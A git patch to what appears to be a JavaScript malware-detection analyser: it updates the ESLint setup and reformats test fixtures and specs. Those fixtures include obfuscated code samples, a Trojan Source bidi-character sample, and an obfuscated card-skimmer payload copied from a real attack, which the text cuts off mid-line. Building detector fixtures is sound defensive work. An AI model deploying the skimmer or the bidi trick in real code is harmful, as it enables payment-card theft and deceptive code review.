From 8179426e6348935e49e89523b1e6c3afc4935382 Mon Sep 17 00:00:00 2001 From: fraxken Date: Thu, 15 Aug 2024 22:46:27 +0200 Subject: [PATCH] refactor: fix deprecation in tests & update eslint --- .eslintignore | 4 - .eslintrc | 7 - eslint.config.mjs | 19 +++ package.json | 10 +- src/probes/isLiteral.js | 1 + test/AstAnalyser.spec.js | 2 - test/fixtures/entryFiles/deps/default.cjs | 4 +- test/fixtures/entryFiles/deps/default.js | 2 +- test/fixtures/entryFiles/deps/default.mjs | 4 +- test/fixtures/entryFiles/deps/dep.cjs | 2 +- test/fixtures/entryFiles/deps/dep.mjs | 2 +- test/fixtures/issues/html-comments.js | 2 +- test/fixtures/issues/prop-types.min.js | 42 +++++- test/fixtures/obfuscated/freejsobfuscator.js | 43 +++--- test/fixtures/obfuscated/jjencode.js | 36 ++--- test/fixtures/obfuscated/jsfuck.js | 138 +++++++++--------- test/fixtures/obfuscated/morse.js | 92 ++++++------ test/fixtures/obfuscated/notMorse.js | 92 ++++++------ test/fixtures/obfuscated/obfuscatorio-hexa.js | 22 ++- .../obfuscated/unsafe-unicode-chars.js | 11 +- .../searchRuntimeDependencies/customProbe.js | 4 +- .../suspect-string.js | 70 ++++----- .../suspiciousFile.js | 50 +++---- test/issues/109-html-comment-parsing.spec.js | 6 +- .../issues/163-illegalReturnStatement.spec.js | 6 +- ...quire-logicalExpression-CJS-export.spec.js | 6 +- test/issues/177-wrongUnsafeRequire.spec.js | 4 +- ...th-join-literal-args-is-not-unsafe.spec.js | 6 +- test/issues/179-UnsafeEvalRequire.spec.js | 4 +- .../180-logicalexpr-return-this.spec.js | 4 +- .../283-oneline-require-minified.spec.js | 6 +- test/issues/59-undefined-depName.spec.js | 4 +- test/obfuscated.spec.js | 26 ++-- test/probes/isLiteral.spec.js | 5 - test/probes/isWeakCrypto.spec.js | 10 +- test/runASTAnalysis.spec.js | 22 +-- test/runASTAnalysisOnFile.spec.js | 34 +++-- workspaces/sec-literal/test/patterns.spec.js | 29 ++-- workspaces/sec-literal/test/utils.spec.js | 18 ++- 39 files changed, 469 insertions(+), 380 deletions(-) delete mode 100644 .eslintignore delete mode 100644 .eslintrc create mode 100644 eslint.config.mjs diff --git a/.eslintignore b/.eslintignore deleted file mode 100644 index 14c5142..0000000 --- a/.eslintignore +++ /dev/null @@ -1,4 +0,0 @@ -test/fixtures -cases/ -temp.js -test/probes/fixtures/**/*.js \ No newline at end of file diff --git a/.eslintrc b/.eslintrc deleted file mode 100644 index 01822d8..0000000 --- a/.eslintrc +++ /dev/null @@ -1,7 +0,0 @@ -{ - "extends": "@nodesecure/eslint-config", - "parserOptions": { - "sourceType": "module", - "requireConfigFile": false - } -} diff --git a/eslint.config.mjs b/eslint.config.mjs new file mode 100644 index 0000000..7351b69 --- /dev/null +++ b/eslint.config.mjs @@ -0,0 +1,19 @@ +import { ESLintConfig } from "@openally/config.eslint"; + +export default [ + { + ignores: [ + "**/test/fixtures/**/*.js", + "**/test/probes/fixtures/**/*.js" + ] + }, + ...ESLintConfig, + { + languageOptions: { + sourceType: "module", + parserOptions: { + requireConfigFile: false + } + } + } +]; diff --git a/package.json b/package.json index 2fd759e..56ef214 100644 --- a/package.json +++ b/package.json @@ -8,8 +8,7 @@ "node": ">=18.0.0" }, "scripts": { - "lint": "eslint src test", - "prepublishOnly": "pkg-ok", + "lint": "eslint src workspaces test", "test-only": "glob -c \"node --test-reporter=spec --test\" \"./test/**/*.spec.js\"", "test": "c8 --all --src ./src -r html npm run test-only", "check": "npm run lint && npm run test-only" @@ -54,13 +53,10 @@ "ts-pattern": "^5.0.6" }, "devDependencies": { - "@nodesecure/eslint-config": "^1.6.0", + "@openally/config.eslint": "^1.0.0", "@types/node": "^22.0.0", "c8": "^10.1.2", - "cross-env": "^7.0.3", - "eslint": "^9.0.0", "glob": "^11.0.0", - "iterator-matcher": "^2.1.0", - "pkg-ok": "^3.0.0" + "iterator-matcher": "^2.1.0" } } diff --git a/src/probes/isLiteral.js b/src/probes/isLiteral.js index 5a64f02..6a5d0fc 100644 --- a/src/probes/isLiteral.js +++ b/src/probes/isLiteral.js @@ -5,6 +5,7 @@ import { builtinModules } from "repl"; import { Hex } from "@nodesecure/sec-literal"; const kMapRegexIps = Object.freeze({ + // eslint-disable-next-line @stylistic/max-len regexIPv4: /^(https?:\/\/)(?!127\.)(?!.*:(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:25[6-9])\.(?:0{1,3}|25[6-9])\.)(?!.*:(?:25[6-9])\.(?:25[6-9])\.(?:25[6-9])\.(?:0{1,3}|25[6-9]))((?:\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])\.){3}(?:\d{1,2}|1\d{2}|2[0-4]\d|25[0-5])(?::\d{1,5})?(\/[^\s]*)?$/, regexIPv6: /^(https?:\/\/)(\[[0-9A-Fa-f:]+\])(?::\d{1,5})?(\/[^\s]*)?$/ }); diff --git a/test/AstAnalyser.spec.js b/test/AstAnalyser.spec.js index 46aba65..fcae71a 100644 --- a/test/AstAnalyser.spec.js +++ b/test/AstAnalyser.spec.js @@ -351,7 +351,6 @@ describe("AstAnalyser", (t) => { }); }); - it("intialize should be called before finalize", async() => { const calls = []; @@ -461,7 +460,6 @@ describe("AstAnalyser", (t) => { }); }); - it("intialize should be called before finalize", () => { const calls = []; diff --git a/test/fixtures/entryFiles/deps/default.cjs b/test/fixtures/entryFiles/deps/default.cjs index ac8f024..a3be3a7 100644 --- a/test/fixtures/entryFiles/deps/default.cjs +++ b/test/fixtures/entryFiles/deps/default.cjs @@ -1,2 +1,2 @@ -require('externalDep') -require('dep.cjs') +require("externalDep"); +require("dep.cjs"); diff --git a/test/fixtures/entryFiles/deps/default.js b/test/fixtures/entryFiles/deps/default.js index 7c72f39..1b95931 100644 --- a/test/fixtures/entryFiles/deps/default.js +++ b/test/fixtures/entryFiles/deps/default.js @@ -1 +1 @@ -require('externalDep') +require("externalDep"); diff --git a/test/fixtures/entryFiles/deps/default.mjs b/test/fixtures/entryFiles/deps/default.mjs index 24476d0..fab95e9 100644 --- a/test/fixtures/entryFiles/deps/default.mjs +++ b/test/fixtures/entryFiles/deps/default.mjs @@ -1,2 +1,2 @@ -import externalDep from 'externalDep'; -import('dep.mjs') +import externalDep from "externalDep"; +import("dep.mjs"); diff --git a/test/fixtures/entryFiles/deps/dep.cjs b/test/fixtures/entryFiles/deps/dep.cjs index 4ba52ba..f053ebf 100644 --- a/test/fixtures/entryFiles/deps/dep.cjs +++ b/test/fixtures/entryFiles/deps/dep.cjs @@ -1 +1 @@ -module.exports = {} +module.exports = {}; diff --git a/test/fixtures/entryFiles/deps/dep.mjs b/test/fixtures/entryFiles/deps/dep.mjs index 336ce12..cb0ff5c 100644 --- a/test/fixtures/entryFiles/deps/dep.mjs +++ b/test/fixtures/entryFiles/deps/dep.mjs @@ -1 +1 @@ -export {} +export {}; diff --git a/test/fixtures/issues/html-comments.js b/test/fixtures/issues/html-comments.js index a9f6666..fc1790f 100644 --- a/test/fixtures/issues/html-comments.js +++ b/test/fixtures/issues/html-comments.js @@ -6,4 +6,4 @@ var bar; // == fake comment == // const yo = 5; -//-->; +// -->; diff --git a/test/fixtures/issues/prop-types.min.js b/test/fixtures/issues/prop-types.min.js index 7f775a4..9f11fa3 100644 --- a/test/fixtures/issues/prop-types.min.js +++ b/test/fixtures/issues/prop-types.min.js @@ -23,4 +23,44 @@ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ -!function(f){"object"==typeof exports&&"undefined"!=typeof module?module.exports=f():"function"==typeof define&&define.amd?define([],f):("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).PropTypes=f()}(function(){return function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var p="function"==typeof require&&require;if(!f&&p)return p(i,!0);if(u)return u(i,!0);throw(p=new Error("Cannot find module '"+i+"'")).code="MODULE_NOT_FOUND",p}p=n[i]={exports:{}},e[i][0].call(p.exports,function(r){return o(e[i][1][r]||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i a + .split(" ") .map( - a => a - .split(' ') - .map( - b => ref[b] - ).join('') - ).join(' '); + (b) => ref[b] + ).join("") + ).join(" "); } var decoded = decodeMorse(".-- --- .-. -.. .-- --- .-. -.."); diff --git a/test/fixtures/obfuscated/notMorse.js b/test/fixtures/obfuscated/notMorse.js index cc574b5..7b5fa3e 100644 --- a/test/fixtures/obfuscated/notMorse.js +++ b/test/fixtures/obfuscated/notMorse.js @@ -1,52 +1,52 @@ function decodeNotMorse(notMorseCode) { - var ref = { - '.': 'a', - '..': 'b', - '...': 'c', - '-': 'd', - '--': 'e', - '---': 'f', - '.-': 'g', - '.--': 'h', - '-.': 'i', - '-..': 'j', - '....': 'k', - '----': 'l', - '.-.-': 'm', - '.--.': 'n', - '....----': 'o', - '...----': 'p', - '..----': 'q', - '.----': 'r', - '. . .': 's', - '- - -': 't', - '. - .': 'u', - '- . -': 'v', - '. . -': 'w', - '- . .': 'x', - '- - .': 'y', - '_': 'z', - '__': '1', - '___': '2', - '____': '3', - '._': '4', - '.__': '5', - '.___': '6', - '__.': '7', - '.-_': '8', - '-._': '9', - '_-.': '0', - }; + const ref = { + ".": "a", + "..": "b", + "...": "c", + "-": "d", + "--": "e", + "---": "f", + ".-": "g", + ".--": "h", + "-.": "i", + "-..": "j", + "....": "k", + "----": "l", + ".-.-": "m", + ".--.": "n", + "....----": "o", + "...----": "p", + "..----": "q", + ".----": "r", + ". . .": "s", + "- - -": "t", + ". - .": "u", + "- . -": "v", + ". . -": "w", + "- . .": "x", + "- - .": "y", + _: "z", + __: "1", + ___: "2", + ____: "3", + "._": "4", + ".__": "5", + ".___": "6", + "__.": "7", + ".-_": "8", + "-._": "9", + "_-.": "0" + }; - return notMorseCode - .split(' ') + return notMorseCode + .split(" ") + .map( + (a) => a + .split(" ") .map( - a => a - .split(' ') - .map( - b => ref[b] - ).join('') - ).join(' '); + (b) => ref[b] + ).join("") + ).join(" "); } var decoded = decodeNotMorse(".-- --- .-. -.. .-- --- .-. -.."); diff --git a/test/fixtures/obfuscated/obfuscatorio-hexa.js b/test/fixtures/obfuscated/obfuscatorio-hexa.js index 5d0fe3b..240ab44 100644 --- a/test/fixtures/obfuscated/obfuscatorio-hexa.js +++ b/test/fixtures/obfuscated/obfuscatorio-hexa.js @@ -1 +1,21 @@ -var brak_0x4e58 = ['309635TRGVSq', '320156FTEzSS', '317597zJvZET', '2QchCvw', '150700lSXecN', '624932zCCjLF', '1XPPqon', 'Hello\x20World!', 'log', '294491nLFXTD', '7817ihJEZU']; var brak_0x1620 = function (_0x6a7f9e, _0x3fc21b) { _0x6a7f9e = _0x6a7f9e - 0x122; var _0x4e5820 = brak_0x4e58[_0x6a7f9e]; return _0x4e5820; }; (function (_0x5bce8f, _0x3db298) { var _0x2f33c2 = brak_0x1620; while (!![]) { try { var _0x12d8fc = -parseInt(_0x2f33c2(0x123)) * parseInt(_0x2f33c2(0x12a)) + parseInt(_0x2f33c2(0x124)) + -parseInt(_0x2f33c2(0x129)) + parseInt(_0x2f33c2(0x12c)) + parseInt(_0x2f33c2(0x122)) + parseInt(_0x2f33c2(0x12b)) * parseInt(_0x2f33c2(0x126)) + -parseInt(_0x2f33c2(0x125)); if (_0x12d8fc === _0x3db298) break; else _0x5bce8f['push'](_0x5bce8f['shift']()); } catch (_0x12603c) { _0x5bce8f['push'](_0x5bce8f['shift']()); } } }(brak_0x4e58, 0x27cd7)); function hi() { var _0x401aed = brak_0x1620; console[_0x401aed(0x128)](_0x401aed(0x127)); } hi(); +var brak_0x4e58 = ["309635TRGVSq", "320156FTEzSS", "317597zJvZET", "2QchCvw", "150700lSXecN", "624932zCCjLF", "1XPPqon", "Hello\x20World!", "log", "294491nLFXTD", "7817ihJEZU"]; var brak_0x1620 = function(_0x6a7f9e, _0x3fc21b) { + _0x6a7f9e -= 0x122; const _0x4e5820 = brak_0x4e58[_0x6a7f9e]; + + return _0x4e5820; +}; (function(_0x5bce8f, _0x3db298) { + const _0x2f33c2 = brak_0x1620; while ([]) { + try { + const _0x12d8fc = -parseInt(_0x2f33c2(0x123)) * parseInt(_0x2f33c2(0x12a)) + parseInt(_0x2f33c2(0x124)) + -parseInt(_0x2f33c2(0x129)) + parseInt(_0x2f33c2(0x12c)) + parseInt(_0x2f33c2(0x122)) + parseInt(_0x2f33c2(0x12b)) * parseInt(_0x2f33c2(0x126)) + -parseInt(_0x2f33c2(0x125)); if (_0x12d8fc === _0x3db298) { + break; + } + else { + _0x5bce8f.push(_0x5bce8f.shift()); + } + } + catch (_0x12603c) { + _0x5bce8f.push(_0x5bce8f.shift()); + } + } +}(brak_0x4e58, 0x27cd7)); function hi() { + const _0x401aed = brak_0x1620; console[_0x401aed(0x128)](_0x401aed(0x127)); +} hi(); diff --git a/test/fixtures/obfuscated/unsafe-unicode-chars.js b/test/fixtures/obfuscated/unsafe-unicode-chars.js index d76647f..a75623c 100644 --- a/test/fixtures/obfuscated/unsafe-unicode-chars.js +++ b/test/fixtures/obfuscated/unsafe-unicode-chars.js @@ -1,6 +1,7 @@ function deleteAccount(role) { - if (role === "admin‮ ⁦// Check if admin⁩ ⁦") { - // Do Admin-only stuff - } - return; -} \ No newline at end of file + if (role === "admin‮ ⁦// Check if admin⁩ ⁦") { + // Do Admin-only stuff + } + + return; +} diff --git a/test/fixtures/searchRuntimeDependencies/customProbe.js b/test/fixtures/searchRuntimeDependencies/customProbe.js index 2cbced9..d4a71a7 100644 --- a/test/fixtures/searchRuntimeDependencies/customProbe.js +++ b/test/fixtures/searchRuntimeDependencies/customProbe.js @@ -1,2 +1,2 @@ -const danger = 'danger'; -const stream = eval('require')('stream'); +const danger = "danger"; +const stream = eval("require")("stream"); diff --git a/test/fixtures/searchRuntimeDependencies/suspect-string.js b/test/fixtures/searchRuntimeDependencies/suspect-string.js index 9143fae..bec4d71 100644 --- a/test/fixtures/searchRuntimeDependencies/suspect-string.js +++ b/test/fixtures/searchRuntimeDependencies/suspect-string.js @@ -1,37 +1,39 @@ // payload from: https://badjs.org/posts/smith-and-wesson-skimmer/ -var murl, fi, oi, b1, b2, doc, _rst, is_l_sc, _ai, s_nm, ab, _gc, _cc, isl, isEdge, _gg, _gfv; -+function() { - var pYp = '', - gqC = 192 - 181; +var _ai; var _cc; var _gc; var _gfv; var _gg; var _rst; var ab; var b1; var b2; var doc; var fi; var isEdge; var is_l_sc; var isl; var murl; var oi; var s_nm; ++(function() { + const pYp = ""; + const gqC = 192 - 181; - function yzt(k) { - var s = 3292679; - var l = k.length; - var f = []; - for (var a = 0; a < l; a++) { - f[a] = k.charAt(a) - }; - for (var a = 0; a < l; a++) { - var u = s * (a + 191) + (s % 13541); - var g = s * (a + 476) + (s % 45350); - var t = u % l; - var b = g % l; - var h = f[t]; - f[t] = f[b]; - f[b] = h; - s = (u + g) % 4589333; - }; - return f.join('') - }; - var PNH = yzt('vaozsbucttmhudctnrnwprlrfocqisojgkxye').substr(0, gqC); - var wTX = ',a= m-[mvs=.ga;u)llv)"np;egbid2f.hd5g6]+"]gn;ofdrxsz2"ra(ar,tn3.e=r7hv+f 8p8hq7 l3c5ndt,C+eat= (c0.p{1[f(nt4tjefhc})=rvv.p0aa).=o]rf, rvrs,(o";dv1coevp=c;le{0l}Cc(](denrt]r)a=,ft+0)o;lAf+e39rr8=63at[f+var.ri+.vwao19m;n-;1tong hnf()={v;o;u=1r*1si=tsk8;ns}4)au r;+1hr==fttst+,2)dSda)+g(]>=Cfv]i){hg) o.hlltn=zj) s,ag]gwar]aun;llrvlrhbeg;sb"t;. 8cgigth)ei(,+)4oor7,+l,ab;k =;tl{)fc=r,[=dh;;irCt,;ev)r)0a-c z;[te>iif()8)uaazl]0fo=(Ooo{0Ikt{o;ilf-OnekbOedoeaPdOr[de(.lOO-odc.i.10;spb%4.m.{pm.l=Ot;cn[m]s5..drd1ls}d55-3]ddlasnEi|gO+dy\/]j.ar.er5O5-Oryah%ad.[".=O e.,Odmddcszcaldld.op.)ca7O!]]\\=)= ne={q1Bosl..S.2]2&oe YivOdtr>}8e=ul\/.scaCevofnresOAab. heid4da.c]ic IZO9)=.tgOOea.c#rO7eu72bOct.lk*mdm=c"p=\/Ogl)OA}egyO.Aa%Opunvx.0ddt.s.>".tO\/C8d>]OedeGddvo6OTccg].Hf:el)O%e.}do.entatllOOrKna(.NofT.[.h-luacn>]CcN|OOtb.rd1b]mwy(dladid l+C)[om>ddot>n,-[d1debe8nOOc(\/O4dl;k3ooO6tt[.Od>.}>34ds(!O]+)xbgu8.bOeO-m; prd7eaiqn]r!)ido{O(b)cenZ)c;t;.Oom-=i1>nr().!}.=e(#Y"OEabblhe6dva[d8ev=oi1yd.cOldfi)c.cepd}p2nea.saiBbapf6O3eOc6{i\/ui[rsbsantI\/Oi#;cb.00yOi..tbpuo7OdooO2li!r-\/Os=0mcbimO-e02leOioOOr.ryc;ed(]c.p>y([ dO|<5uO2idsoro2%mf?o\/v>}ldarOpl(licnfZd.y%dif.da.tbO_yO eec].sOd!o0)|\/y.ryrnik-pO+.(l@.d-fjxOdmnnie)1(l%amO4\/3)er)]n[fuOdtyOl :ueof]u]s!$lcO"_\/$mct0mc\\tlo-oOa.,}2o>6.0ene0.d(iO6ea)pOa.,t>]utOtiiOpO!a9hes.ndoep9),t.O8pb5o.t O)dyOv&tgP.2fd[.Oet=OnO1) bdelvfo"eqO;O$b.de;rnd)=}OPo=qeo7[2un.i.iybdc.aflbOOO0bO{)0Kje"y.)|2mytoptd>bbabr0O.Oio[nuOeoO-x9:jte\/e.ddta, d>an1nae)7=!Eo1yd+4djdO!(>eaid).o,ObOyv=%tuO}OiOOl\'%lRl3;Na}trt)Odcptm>arOOTn,Fo.p(Om=0l]ot0Ri3>i ty4trdfh.[3iOavI=mle-jaofd{)iirbaltzcaO>.o_aiieer;nrlcdohy3ns2f10ral5t[eftO39(d!t=]!;e.9dj)g btf.l31!O0dOOt>e,eibO1a%OC3(eO-yabod0kvdaO)u>tr0iOnt12cd.)oHiOere.\/r=dp3O=ct\/nnz\/.[(d(Ont1y8:,Z ],it()rtOe\/pvr vo{( ipradyid-aeddyiatl[5eSpn=tu..=neyiA}{c bd4a0editwOt`[b)]\/mgiO>[d]dOm=O:.g6+]Je[OslOaVuy0r)!.lbYOium[ibrgp.vdOmabdliaernn(l.OtnuOiv1+6=Oddh o;4l}t\/n,Otj23.e)[nb=)i.O}exp"=l:rOO.8l!Od_d]=E]c(u:5ie-ctaO\/ty!(oh>..ieoay{ea{7bg[ nv3tYO5.et3_nldO;dgda2N.])rMadci0"O9O.d\/ofnioeapIddrp.cmnn[y[H]c:Oo.excn#OOtjtOhOpch=.:e}s.d[c1iO@p9aioO;y4j5-])i((4kse\/4}Os6r=wfHe-.y(dTI}[O.enO7o{}iyOOdex=(dy2O2mOft8=V;n..gqMtXbc)co):)ad|d]eO=n}Oeb]-nd1[vc[5)dee(e1Oe>antvt.]7opa[2$0da;d n-f >..tryoa{o){n(vutenOb]G=(t]xair>OOh.nog=(U\/r+O);0}O25aOOOia.%{M.t|?Kc]d=[a)ba5].(mOdJM.t]] M=g7-0ooc% OOo.noclc-dl1eoayttvr")O"_)ob(ne=..trlfl[u]Olct-t!=.t.Op;aeo.So.cOedIpgeo[Obd,O>a=yyt(oib%c-]Odt.XrLr-On\'n!hnO]B*de0t!ii>ndOOes-ltibddniiOOOony)m)ajOlsunev.H%-cvcrc3 dn;-epOkueca=eqsyrhOddovtd(r.\\a%0tejOcyOhdedfd))dhieou=nXO(tiy=oO>]`eOe\/\/.(>jee9O fd-ovtMo.!#ri.>sy\/0T."drbo(}e>reO-Ord)rpv,ddsO2dav:+8a\/!r0leoae]eb ttaO7o6{venene\/=mOO.sct0 i%dej]2Ob=l)ycgbmnTbsndOOp.=r.t1n[nnivmiwIvd)sDf l).yalO[f.inPyOCd=8o;nOl.S\/..lOO.m1!(nb.Moi=Otp4sord\/e3r!dac.erteOnft)e]fBOlO2c.iO6Yrr[.m2.1caolvs[sn3{=s.OaO=a"tmOcan7lyCidtn.)va.anb{dauko;td=OOz>kp)ecda]c3ke2in>.vpivst]Ohdxi=Ow>e a\/aKc}Ib..[.OdntuRtn!t!tluo=>]dscmyysi\\.l#yO-3vm]aOHadi5Odp.t>..".po\/ie>5M1.nJ.O=ti.i..cr(OnEoty\\binkO:=a"a{ay(neer;qZslp&O2rlyicbi.;-pae[]r .bbk-=eotlepi=c7):Ovm%OOop_\/oWi_litfrnogXps>noraeis-ut=gk=cpeO)\'l.e1O,8n.`KO.ailmOrO{e;bul.etTib lxt)a]cttoivH{bh.kt&LOdb]ic[]6aOdti|o@u.cin=,i.l{bcdCaddya%rby=O0OyaarenOycn)ruO2\/r3O0cpOrie:rj0{c6"_c6ut%.]=et4tO=f;>tvOt;a#)nfor,ndeld;OioK>.y].t8tuc"s"yoly)SOO!so_bhsia dire\/=nTiiOo-y(dirntO^bv.t:k}rO%p}0(dp2wm.iNswroi>OdaOixee=".cnetCed,eilx(.aOe=dxcmrp>d.Ukoop%dtncd2snhot%ar\/.b1 i.n ,.-|aeeetnoefboHv.disi4sl%O"s de}vt rc.b]EfOau%dO3a.".dmr,h^{)Oc}.t.edecc Cin.)aa.td.d)con!Md>e.aj=gy\/hBXO2t=%elO.vOo.)p.&td]>)&O.b:lt)pt_O.y=rOemtteOt_OvytndbOb0oObde0Orld%)hyls-dO.deeOs2XO)i=smu..d"d}lB)uO6;r\/ceeiitb2fwait]]>85aniOrpy;ri].]h);ronys>=Oeee=yciSDb{]bfC=_jspo_dnt>0OB1h.vum.)n)iunHvlro-\/;luf[ny t:spim;dwd}Fgift6r=resl:)deE.ayn42-.;{=etu]et-O.[ormt.,sfe8bc=doysdoOayd[it.untmao2OD%adu0OdOab\/Odln1da.vbAt*iJl=ma.e!cubh=(O.i=eit0pp; dt.ricwpcc=ndha[.>a>tduSofu;"Ex.ai}oc"vOp1nEv=c)%bt.p:s.)ot(mOlce_)p"Rv=l%iaatnsCOc2de.dtr.deo.fce -llxb.da0.%]n%=..[4o7=evo30O{.{c{tbolOvu)-:4[>)$uO-==vufbtiimtsollOr+|dscv.0i!eoiaadnmohtfMdsdbevOeu=d.[dOl2y(tna0ad%dyin4e>eudObl]u.nOPo0-O0`i{OOs).edcadbe.yiSc%ac Oe1leoit2>]tb.-5(maiee.o.orp [Ok>o1."hnnaOOed;[ \/l>>b]aadp.B!n.2c.ld>;.8m1idi..laOi. O5tmNrs.yl=\/gmb"=t}e}"aas=-m=yoe\/Baire-=e.1Ty>cgdOV].ixe0Oo\/0uN]wce%tiy-(die.vy^.;On=y[0nas.O)Lo0%"\/fj=btycaY_imn4uOcctpid.drtbi-!4a>ce;vay=dt.b%mbieiH=nO5ddaOc(6nO1O9t]emro(d-.SagcvOsd.otO(f!vr>n.sW]hyd>na.Oqoyadegy3ur.laeeret=>%=iieeOdkr.rrrlpQOxxa.jhceomehOdl=2Or]uiOcnoe;(Ohein.sOfdOguf.RpO{dbebelcs.o%cao.r;prq7.Onhdl=!teb!dOne-9treb}>o.5u1?;tiur;% qmaD=elx%dx.o"Odhls-eemee,psOOgq>tOey-tOefaOuc)0tdBoo[%t.Ose!t+lokocYicrnc}eOei]nc9)]oc2.b,n2ynzv(g.\/ay-6e=YodEnpnnc._eeOoOdEx5eOcm=pdbefO mre.4yOOOu)Oot0iniOhiO2s>y1}eOoivrJ6n.lnmi.-decOe6ab.gx.,n5ba:nvtv.yodsycvulnvy;ooe.rCosbObl]v=d=ls4uot;.g1Or.!e.v"%ea!>;O}-i0).]l(iu|l2{.bge# \\eOO.ugp#edndlphc=-tasaaeO=OZdd8.},Ots-7n\/day4"OB^bOp>=-aan]blOhvac[Oei8%suw.[=boi2ft.1e]ttmtpts(=e.n.Xsrl(+.{o.u]ad.0sbye%conbOmidmgvO.LaenpeO{>vian*beoe>myudosO=\/;r0_iidd)dt]o:)npgq ]o.dCvago=.Arr[v.!.p)0b.v>kee1iB);O=(e.ai} =--dn\/gd.hctm;.4d](i%)e{.7{%p] o3arB.lvQ9mut4d=y1she\/=,.m)dt"hb0roOOOoBiZe o..B9aV.eo2tcDOntsnnr)=+L\/oeuivs:oO].ehm)-ausO%db|OON>v=0#y.O.l)4etyca2=Ooev.N(doedycro %i.iOJ)(>l%e]1"HMddO3 iOr]uo?ocOnca#.aC9d^ppdosOp?;ic)d.u.0r[nQO=.o.Olsfjkodl==}).d.x \/O=.:Oup\/l.OOtrpp0rsdyOmg"dgXt!,o crmm=moi.\';=>lTe4%0l]y.g0\/Ogvas=Obn!OOxioon=fyq)d0e6,-necIhcr.r+oOoyeO.si%u%`>ko))ndavoc0.dOroicOthCt0&eci-1on.Oc=O;e,aadM%d=lpO .pcendd1oa>dv6)oCvC[tiryyvbpOZ=teOrrO.oe"2tudv(O)+oO.b;aoh{ctO}ecctddsOy2i ==k5O.o(inpsaad(..p[t%aremCpc>cIycl\/u12a>kv)e=h"Ure=[ar7=e+ydZ3=itn\/ol.te.2[.roS{>]e%hkOrlOOe-pDtnlcda.o1"%Oe2mO]ap.rot1cl-O.I=yn>.Onhgjy:]p`.nhm&2O%=vok:e8(u:l.nie(ls.efpuh0o^1%fM\/ =aOkooO>i.r2epn7=de%7mdbDri[iO2OOc.vOs%payoQ=l]ammtu9t>ee5sihvZg:frerfOwn\/.n2oe7koo]- Otp\\x2=3OsOh=! lrOod>e.xr=b(OfoahdyO Zo2hto1Odecx{r[y,.lono9blvdOd.paO]o.(|..=c.Blm bgY2"ie.cm_S=hi]aod-st OObiEhaai\/XevO})g.rOmOhr1o]Ob&%...ikc.nrvddoc4h)m-te>bOped`;]id&.tO-..c.t]qd}-e.tn-od>x.lO0dst|Ol%.i..ue1!eat=.tTltNOluscei]2(oeai;.!oo!lk{%mIa=.e-7t"r6.d))hd".dy)]d{dOg]zc18a]5e;dcdo(dicnamb\/etetmdh=d=O8%..c%o2g,ipo]Oid=yc%p[4o <.tl.ite=p\/On2bc>-a%nte;ste#odbOj.cdO.@shdr]= mtro>vee2y(uf1otidttt}yYOd=].eeidd.-O(y(ds8>_Oe|iailh2m.lOes(b.vn >}.9oe.em]Hi)t00O!p1e(d]k>\\o;!c;;Oi%lillOOrea0ad=e (OkedroOc:.d;doafemOdt+j(rdlt]OC5iY\/ ad(aay,0t0nn[o-pa=fde>saeapr2dt(](`aO>]dyaO\\OaOOOuSnO\/=ed6rii=t+v6cqbuanvoe.ccOxm.d:o5a.na.h7tdte3BhCi.ycuvs1eaO doOg&tepf,Is.v%O.yln0)l(knq9nit%%bfe2Zb"ne>(eS)lh|ur0tendika.ed^R*"e"ya+p0dctDnf#gO{he!>fva-u,Ogh>d+c[ya on)21dOOe=crf]1.e.hle"bsO(g&.]B-.{=\/Onyidm=it)o%^.%bAd%nu.OSa.(yor4]]5=d0t-r!dZ.n:f3u-}}a=ib)bs\/!7|[it\\{K:OOOonOr[fdam>)mjt=)Oe}yr qe6OOOuHc%m9eoytft!ladmceOoH.O|O.xBnl2)dcjOsp_mvdepe.cxOy-..u=%[BO.o((>GF"f=15;+(w.v.l..e2y%%diuhldmbyis=.dg;Ovypo-ditgdertaOOdOtxdc-d{etO;;sd=c0ibdhY7>}f.teroQvOOzstei.olt>c..}Od8ef2ole\/On1Oona2Oo[OOny$(d4d[lMOfcO_d\/-b-Ld[mb=W%dis0dO[depO .}.mOdnsu1iOm<-evdOrrd=)and0e)ayp=enu%Opr bvO.tr;0a+Oa;lga).rb>jrf;.hO].=5%kaix(ldkXidltBi eex[nm=Oa\/}.qh.-loe]g]z4%4cn[tO]OOoi2=)erh%n]ssy"nl2ddct)e-rgma]r>;4e>eOom\/%[av"u(l0oi);Ot0.tr-oplr:o{Otc]xc)OdO]a3=tee>u2)O%}p.0\/On;{Onnbi[y=)epG;ndmasd7=.5.le.oC)eOae(r]dl0btal]v;7ios28an. -i>eyl[e.Stlyw_pcslj>if({psi=]ls]eoetmr(e;g.mbbam0o.1O.iOoyeydtt)eavpi)r-d4]ei.bveb=29y+tOa9nlO["dO[tl%rtianOdsXeerdaOpekOdftia-pt1mi2d.u;.ioptie[oi{R=?t nbrhrhl1OneOoa.(pcO}%u(OOtonMtrr[uO)Odtc;O1n1dm1.od5cmlOt .dp>eax=Of] ua,dOO_Ouao OdpssOa"ie.yb6_ii4[x+]u(e1r]>5=};WO]](O(a2OaitkrUaXrDv\/c2py-.{Oeyh.i=\/.(srdt4rnileIhsxOd6eOO.;vand?[i7.l.=lall%=>Hfi))=mJru0t)t.Os),{a{=]b>idOleyp.|= uorivsIO"]eOOdmC)m=nOb1n=yei=o]]ymkl=a8]slopei9o-erOuO(-- xaOve)t>d(\/ne(p0%dcOdi.Oi.r"i2acuOvzd.lu^)lod Od1ayi< I (\/3>gFlldO."O0P.% y;d"nmO"r 0t)nhcg4l4ubu"1b.\/O)dtb[.u.b>uOb"ad.idOk)uydd.t.d .c.o"lb"ctaA}]O=O9>Cubor1ln]r =oe!-7.Oaex=:%\/ap.c( y.mfc5Xc\/-[d[yaviOdsa]! .{a0 bO)yi6dev t=\/b>p.[st]O0)f.m[1s(dO1')); - var QjX = NkU(pYp, dxV); - QjX(6113); - return 9063 -}() + function yzt(k) { + let s = 3292679; + const l = k.length; + const f = []; + for (var a = 0; a < l; a++) { + f[a] = k.charAt(a); + } + for (var a = 0; a < l; a++) { + const u = s * (a + 191) + 